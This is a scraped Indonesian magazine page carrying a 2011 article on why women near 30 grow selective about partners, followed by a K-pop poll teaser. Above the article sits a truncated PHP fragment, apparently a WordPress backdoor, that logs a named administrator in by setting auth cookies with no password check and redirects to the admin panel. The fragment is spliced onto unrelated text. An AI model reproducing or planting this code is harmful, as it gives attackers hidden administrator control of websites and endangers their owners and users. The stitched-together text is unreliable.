user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Sex & Relationship
Selektif, Bukan Berarti Menunda

22 Jul 2011

Wanita yang terlihat cool dan tak banting harga, meski sudah di ’usia panik’, di mata Ratih Ibrahim, psikolog dari Universitas Indonesia adalah mereka yang menganggap menikah bukanlah tujuan, melainkan fase dalam hidup. Di mata wanita-wanita perkasa ini, status menikah atau tidak, hidup tetap akan berkualitas.

Mereka menganggap jodoh yang klik dengan mereka, memang belum tiba. Jadi, buat apa susah? Ditambah memiliki pergaulan yang luas, sehingga tak kesepian. Kalau kondisi tersebut tak mereka miliki, tapi pembawaan wanita tersebut tetap santai? Artinya, ia memang memiliki kepribadian kuat, sehingga dia tak ragu melawan arus.

Di mata Ratih Ibrahim, wajar jika bertambahnya usia, membuat pertimbangan wanita dalam menyeleksi pasangan makin beragam. Pemicunya adalah faktor kematangan dan kemapanan.

Advertisement
Faktor kematangan membuat seseorang makin kritis dan evaluatif, sehingga lebih berhati-hati ketika dealing dengan orang lain, termasuk standar sendiri. Faktor kemapanan, karena kebanyakan wanita usia 30 adalah mereka yang berpendidikan tinggi, memiliki karier yang mantap, dan berpenghasilan bagus.

Picky seperti apa yang merugikan? Jawabannya adalah pilih-pilih yang tidak realistis. Misalnya, baru mau memiliki pasangan, kalau si dia berwajah tampan, berperilaku sopan, setia, punya karier cemerlang, dan hartanya segudang. Sosok sesempurna ini jelas tidak eksis di dunia.

Bahkan, sosok yang mendekati sempurna saja bikin repot yang menyukainya. Dengan segala poin plusnya, otomatis saingan pun berjubel. Terlalu ketat dan terobsesi dengan standar tinggi justru membunuh kesempatan bertemu dengan pria, yang bisa jadi sebenarnya adalah jodoh Anda. (f)




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?